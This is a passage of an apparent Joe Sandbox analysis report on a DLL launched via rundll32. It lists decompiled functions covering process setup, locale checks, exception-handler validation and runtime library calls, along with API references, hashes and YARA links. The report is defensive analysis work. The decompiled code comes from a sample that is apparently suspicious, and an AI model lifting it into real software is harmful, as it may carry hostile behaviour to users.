Part of subcall function 700096C6: GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
Part of subcall function 700096C6: SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

Part of subcall function 700096C6: _free.LIBCMT ref: 70009728
Part of subcall function 700096C6: _free.LIBCMT ref: 7000975E

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 70012630
IsValidCodePage.KERNEL32(00000000), ref: 70012679
IsValidLocale.KERNEL32(?,00000001), ref: 70012688
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 700126D0
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 700126EF

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 0001fb0407ca36f4ad270574a8e62b6cf9586a7db2445356f2adae6ff00dc05d
Instruction ID: d8fe3ed3063dd71dfd38ffa76e50a5891f5f63c61dbc82f482b95d0710331d48
Opcode Fuzzy Hash: 0001fb0407ca36f4ad270574a8e62b6cf9586a7db2445356f2adae6ff00dc05d
Instruction Fuzzy Hash: 2F516172900207EFEB01DFB5CC45AAE77FABF44B20F104569F906E7191EB70A9908B61

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA1F7C Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6FFA1F7C() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;

				_t8 =  *0x6ffa41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6ffa41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 <= 5) {
					_t4 = 0x32;
					return _t4;
				} else {
					 *0x6ffa41ac = _t3;
					_t5 = GetCurrentProcessId();
					 *0x6ffa41a8 = _t5;
					 *0x6ffa41b0 = _t8;
					_t6 = OpenProcess(0x10047a, 0, _t5);
					 *0x6ffa41a4 = _t6;
					if(_t6 == 0) {
						 *0x6ffa41a4 =  *0x6ffa41a4 | 0xffffffff;
					}
					return 0;
				}
			}

0x6ffa1f7d
0x6ffa1f8b
0x6ffa1f93
0x6ffa1f98
0x6ffa1fe2
0x6ffa1fe2
0x6ffa1f9a
0x6ffa1fa2
0x6ffa1fde
0x6ffa1fe0
0x6ffa1fa4
0x6ffa1fa4
0x6ffa1fa9
0x6ffa1fb7
0x6ffa1fbc
0x6ffa1fc2
0x6ffa1fca
0x6ffa1fcf
0x6ffa1fd1
0x6ffa1fd1
0x6ffa1fdb
0x6ffa1fdb

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6FFA1512,747863F0,00000000), ref: 6FFA1F8B
GetVersion.KERNEL32 ref: 6FFA1F9A
GetCurrentProcessId.KERNEL32 ref: 6FFA1FA9
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6FFA1FC2

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: f75383ad0ee4cad4f2c28c62a0fb2aa7927655e13a88a3290d7e2395cd125f6b
Instruction ID: 9904a9461af0e5c581acab54cfc04e3312f40dc2846576eb079fb72cdc79beec
Opcode Fuzzy Hash: f75383ad0ee4cad4f2c28c62a0fb2aa7927655e13a88a3290d7e2395cd125f6b
Instruction Fuzzy Hash: 0CF06D30674A10EEEF528F79A80674E3BA4BB06735F11802AE104C91F0DB7160628F54

Uniqueness

Uniqueness Score: -1.00%

Function 70001E38 Relevance: 6.0, APIs: 4, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,70001F57,7003A428,00000017), ref: 70001E3D
UnhandledExceptionFilter.KERNEL32(7003A428,?,70001F57,7003A428,00000017), ref: 70001E46
GetCurrentProcess.KERNEL32(C0000409,?,70001F57,7003A428,00000017), ref: 70001E51
TerminateProcess.KERNEL32(00000000,?,70001F57,7003A428,00000017), ref: 70001E58

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: a8d69f8530dd941252ee70cb9a2aef17590eb87818fd953dc124a397627950a7
Instruction ID: 25ded8572a309eea30834ec77e24b681c411e02256230d880852ca5679be4ed3
Opcode Fuzzy Hash: a8d69f8530dd941252ee70cb9a2aef17590eb87818fd953dc124a397627950a7
Instruction Fuzzy Hash: 4BD0C973044208BFE7006BEACC0CB4E3A38AB04222F108000F70D83221CAB158008B51

Uniqueness

Uniqueness Score: -1.00%

Function 70006707 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 700067FF
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 70006809
UnhandledExceptionFilter.KERNEL32(6FFFC512), ref: 70006816

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e4fc9918fa1b4a93b33fafc0f6919f825b30ec5566b7add03a4b0523e13ce428
Instruction ID: 26ac8e7fc63e71e0e8db6d039e6cf2442a65972a4a83329f1bb3cf0833ede474
Opcode Fuzzy Hash: e4fc9918fa1b4a93b33fafc0f6919f825b30ec5566b7add03a4b0523e13ce428
Instruction Fuzzy Hash: 1331C575901228AFDB21DF68DD8978DBBB9BF08720F5041EAE40DA7251EB709F818F45

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA11BF Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6FFA11BF(void* __ecx) {
				char _v8;
				signed short _t7;

				_v8 = _v8 & 0x00000000;
				_t7 = GetLocaleInfoA(0x400, 0x5a,  &_v8, 4);
				if(_t7 == 0) {
					__imp__GetSystemDefaultUILanguage();
					VerLanguageNameA(_t7 & 0xffff,  &_v8, 4);
				}
				return _v8;
			}

0x6ffa11c3
0x6ffa11d4
0x6ffa11dc
0x6ffa11de
0x6ffa11f1
0x6ffa11f1
0x6ffa11fb

APIs

GetLocaleInfoA.KERNEL32(00000400,0000005A,00000000,00000004,?,?,6FFA19A8,?,6FFA1576,?,00000000,00000001,?,?,?,6FFA1576), ref: 6FFA11D4
GetSystemDefaultUILanguage.KERNEL32(?,?,6FFA19A8,?,6FFA1576,?,00000000,00000001,?,?,?,6FFA1576), ref: 6FFA11DE
VerLanguageNameA.KERNEL32(?,00000000,00000004,?,?,6FFA19A8,?,6FFA1576,?,00000000,00000001,?,?,?,6FFA1576), ref: 6FFA11F1

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: Language$DefaultInfoLocaleNameSystem
String ID:
API String ID: 3724080410-0
Opcode ID: b6f013ad36564c74b4e225b97c1a2090636234b599bb3a346d0551b09d3418e6
Instruction ID: eb50012319d66fe7e054bfc2fa353ec0cd29dd6aff7ca0ed5f51734f967a0a9d
Opcode Fuzzy Hash: b6f013ad36564c74b4e225b97c1a2090636234b599bb3a346d0551b09d3418e6
Instruction Fuzzy Hash: D2E04F74650248F6EB00D7A18D07FBE72BCAB0175AF500045FB01E61D0D6B59E14EB39

Uniqueness

Uniqueness Score: -1.00%

Function 700081A6 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,700081A5,70045B10,?,?,70045B10,?,7000053E), ref: 700081C8
TerminateProcess.KERNEL32(00000000,?,700081A5,70045B10,?,?,70045B10,?,7000053E), ref: 700081CF
ExitProcess.KERNEL32 ref: 700081E1

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0b7d99e23d04daa5390f84ae4619fd1ae1f8ed92d482cb271a533715872201d5
Instruction ID: 5dbc7719206ec216fef743e7f18790514eada7b86c94fe8d43dd5fd028c62111
Opcode Fuzzy Hash: 0b7d99e23d04daa5390f84ae4619fd1ae1f8ed92d482cb271a533715872201d5
Instruction Fuzzy Hash: 63E0B632000648BFEB02AF59CC0DA8E3B7AFF40A71B108414F94A87231CB75ED82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 7000CA4A Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,7000CA45,?,?,?,?,?,?,00000000), ref: 7000CC77

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d0648db9ea43100c0ede80a699b09f6878dd11292bfebb7c739f28af452d8c76
Instruction ID: 5a753270751a014ca4481ecc468326e0db649e76234c9ac31a24c05dc5d03d27
Opcode Fuzzy Hash: d0648db9ea43100c0ede80a699b09f6878dd11292bfebb7c739f28af452d8c76
Instruction Fuzzy Hash: F9B114322106099FE715CF28C486E997BF6FF45764F25865DE89ACF2A1C335E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA2495 Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6FFA2495(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6ffa41f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6ffa4240 = 1;
										__eflags =  *0x6ffa4240;
										if( *0x6ffa4240 != 0) {
											goto L60;
										}
										_t84 =  *0x6ffa41f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6ffa4240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6ffa41f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6ffa4200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6ffa41fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6ffa4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6ffa4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6ffa4240 = 1;
							__eflags =  *0x6ffa4240;
							if( *0x6ffa4240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6ffa4200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6ffa4200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6ffa4240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6ffa4200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6ffa41f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6ffa4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6ffa4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x6ffa249f
0x6ffa24a2
0x6ffa24a8
0x6ffa24c6
0x00000000
0x6ffa24c6
0x6ffa24b0
0x6ffa24b9
0x6ffa24bf
0x6ffa24ce
0x6ffa24d1
0x6ffa24d4
0x6ffa24de
0x6ffa24de
0x6ffa24e0
0x6ffa24e3
0x6ffa24e5
0x6ffa24e5
0x6ffa24e7
0x6ffa24ea
0x00000000
0x00000000
0x6ffa24ec
0x6ffa24ee
0x6ffa2554
0x6ffa2554
0x6ffa26b2
0x00000000
0x6ffa26b2
0x6ffa24f0
0x6ffa24f0
0x6ffa24f4
0x6ffa24f6
0x6ffa24f6
0x6ffa24f6
0x6ffa24f6
0x6ffa24f9
0x6ffa24fa
0x6ffa24fd
0x6ffa24fd
0x6ffa2501
0x6ffa2505
0x6ffa2513
0x6ffa2513
0x6ffa251b
0x6ffa2521
0x6ffa2523
0x6ffa2525
0x6ffa2535
0x6ffa2542
0x6ffa2546
0x6ffa254b
0x6ffa254d
0x6ffa25cb
0x6ffa25cb
0x6ffa254f
0x6ffa254f
0x6ffa254f
0x6ffa25cd
0x6ffa25cf
0x6ffa26b0
0x6ffa26b0
0x00000000
0x6ffa25d5
0x6ffa25d5
0x6ffa25dc
0x00000000
0x00000000
0x6ffa25e2
0x6ffa25e6
0x6ffa2642
0x6ffa2644
0x6ffa264c
0x6ffa264e
0x6ffa2650
0x00000000
0x00000000
0x6ffa2652
0x6ffa2658
0x6ffa265a
0x6ffa265c
0x6ffa2671
0x6ffa2671
0x6ffa2673
0x6ffa26a2
0x6ffa26a9
0x00000000
0x6ffa26a9
0x6ffa2677
0x6ffa2678
0x6ffa267a
0x6ffa267c
0x6ffa267c
0x6ffa267e
0x6ffa2680
0x6ffa2682
0x6ffa2696
0x6ffa2696
0x6ffa2699
0x6ffa269b
0x6ffa269b
0x6ffa269c
0x6ffa269c
0x00000000
0x6ffa2684
0x6ffa2684
0x6ffa2684
0x6ffa268d
0x6ffa268e
0x6ffa2690
0x6ffa2692
0x6ffa2692
0x00000000
0x6ffa2684
0x6ffa2682
0x6ffa265e
0x6ffa2665
0x6ffa2665
0x6ffa2667
0x00000000
0x00000000
0x6ffa2669
0x6ffa266a
0x6ffa266d
0x6ffa266f
0x00000000
0x00000000
0x00000000
0x6ffa266f
0x00000000
0x6ffa2665
0x6ffa25e8
0x6ffa25eb
0x6ffa25f0
0x00000000
0x00000000
0x6ffa25f9
0x6ffa25fb
0x6ffa2601
0x00000000
0x00000000
0x6ffa2607
0x6ffa260d
0x00000000
0x00000000
0x6ffa2613
0x6ffa2615
0x6ffa261e
0x6ffa2622
0x00000000
0x00000000
0x6ffa2628
0x6ffa262b
0x6ffa262d
0x00000000
0x00000000
0x6ffa2634
0x6ffa2636
0x00000000
0x00000000
0x6ffa2638
0x6ffa263c
0x00000000
0x00000000
0x00000000
0x6ffa263c
0x00000000
0x00000000
0x00000000
0x6ffa2527
0x6ffa2527
0x6ffa2527
0x6ffa252e
0x00000000
0x00000000
0x6ffa2530
0x6ffa2531
0x6ffa2533
0x00000000
0x00000000
0x00000000
0x6ffa2533
0x6ffa255b
0x6ffa255d
0x00000000
0x00000000
0x6ffa256d
0x6ffa256f
0x6ffa2571
0x00000000
0x00000000
0x6ffa2577
0x6ffa257e
0x6ffa25aa
0x6ffa25aa
0x6ffa25ac
0x6ffa25ae
0x6ffa25c2
0x6ffa25c4
0x00000000
0x00000000
0x00000000
0x00000000
0x6ffa25b0
0x6ffa25b0
0x6ffa25b0
0x6ffa25b9
0x6ffa25ba
0x6ffa25bc
0x6ffa25be
0x6ffa25be
0x00000000
0x6ffa25b0
0x6ffa2580
0x6ffa2583
0x6ffa2585
0x6ffa2597
0x6ffa2597
0x6ffa259a
0x6ffa259c
0x6ffa259c
0x6ffa259d
0x6ffa259d
0x6ffa25a3
0x00000000
0x00000000
0x00000000
0x00000000
0x6ffa2587
0x6ffa2587
0x6ffa2587
0x6ffa258e
0x00000000
0x00000000
0x6ffa2590
0x6ffa2590
0x6ffa2591
0x00000000
0x00000000
0x00000000
0x6ffa2591
0x6ffa2593
0x6ffa2595
0x6ffa25a8
0x00000000
0x00000000
0x00000000
0x6ffa25a8
0x00000000
0x6ffa2595
0x6ffa2507
0x6ffa250a
0x6ffa250d
0x00000000
0x00000000
0x6ffa250f
0x6ffa2511
0x00000000
0x00000000
0x00000000
0x6ffa2511
0x6ffa24d6
0x6ffa24d8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6FFA2546

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 3d9b1a5ad9c647021a4abc2868f82dfcc30f40fea0bbb9016e0e7a22ea76e576
Instruction ID: 90f3507f325a2d6ff1c86a160074714cdcc9dff5daceddd9ce05b69f8bc7f544
Opcode Fuzzy Hash: 3d9b1a5ad9c647021a4abc2868f82dfcc30f40fea0bbb9016e0e7a22ea76e576
Instruction Fuzzy Hash: 0B61C031755602CFDB1ACF2AD9E079933F5FF85714B20817AD816CB2A4EB73E8828650

Uniqueness

Uniqueness Score: -1.00%

Function 7000EEA1 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31f6e96a2df7f0376f5b90bea5a2bd87dd88efd779f5d7f0c60802a4847d05e3
Instruction ID: f48b805ddf8587c33136493ffd3a8240debb2e16eec1139d9c37d0d24868cf8f
Opcode Fuzzy Hash: 31f6e96a2df7f0376f5b90bea5a2bd87dd88efd779f5d7f0c60802a4847d05e3
Instruction Fuzzy Hash: 4F41A6B580425DAFEB10DF69CC89AEEBBB9AF45614F1442EDE40DE3201DB359E858F10

Uniqueness

Uniqueness Score: -1.00%

Function 70011EB0 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 700096C6: GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
Part of subcall function 700096C6: SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

EnumSystemLocalesW.KERNEL32(70011FD6,00000001,00000000,?,-00000050,?,70012604,00000000,?,?,?,00000055,?), ref: 70011F22

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 58c50ea9e91f0ead26990e61c9d0e794f2cdfa18ff198236aa2d6400ef3e1334
Instruction ID: de4f0d2f4ccb7c30b0b512e8ce4fb64abb5b641bcede3e470d2fc57b8660e820
Opcode Fuzzy Hash: 58c50ea9e91f0ead26990e61c9d0e794f2cdfa18ff198236aa2d6400ef3e1334
Instruction Fuzzy Hash: 3211A3362047069FDB189F7989916AEB7E2FB80668B14442CE98787B40E3716943C740

Uniqueness

Uniqueness Score: -1.00%

Function 70011F4B Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 700096C6: GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
Part of subcall function 700096C6: SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

EnumSystemLocalesW.KERNEL32(70012229,00000001,?,?,-00000050,?,700125C8,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 70011F95

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7d55dab1a620617b54d7bacab5b71714081cf79da7eff1be03cd96e49b8e72a6
Instruction ID: 7c047649852938bb4a07b6a0609b902fe1d0cdbb84055eac41721dde380f5a16
Opcode Fuzzy Hash: 7d55dab1a620617b54d7bacab5b71714081cf79da7eff1be03cd96e49b8e72a6
Instruction Fuzzy Hash: A9F04C323043055FD7094F75E8846AE7BE2EF80778B14443CF9464B690C771AC42C600

Uniqueness

Uniqueness Score: -1.00%

Function 70009925 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 70006CEC: RtlEnterCriticalSection.NTDLL(-000EC664), ref: 70006CFB

EnumSystemLocalesW.KERNEL32(70009918,00000001,70045F00,0000000C,70009D05,00000000), ref: 7000995D

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: f08147566c04b759462f4a4a57da4f3004185092c7c4d8f27bd9013595f28288
Instruction ID: 953109906e3d3f6c5bbd161f3d0b974d822db8dc1282a4d31d1d4618b06feb4e
Opcode Fuzzy Hash: f08147566c04b759462f4a4a57da4f3004185092c7c4d8f27bd9013595f28288
Instruction Fuzzy Hash: A3F03732A44204EFE700DF99D881B9D77B0FB45B32F20456AF8149B2A1CB7659408B41

Uniqueness

Uniqueness Score: -1.00%

Function 70011E65 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 700096C6: GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
Part of subcall function 700096C6: SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

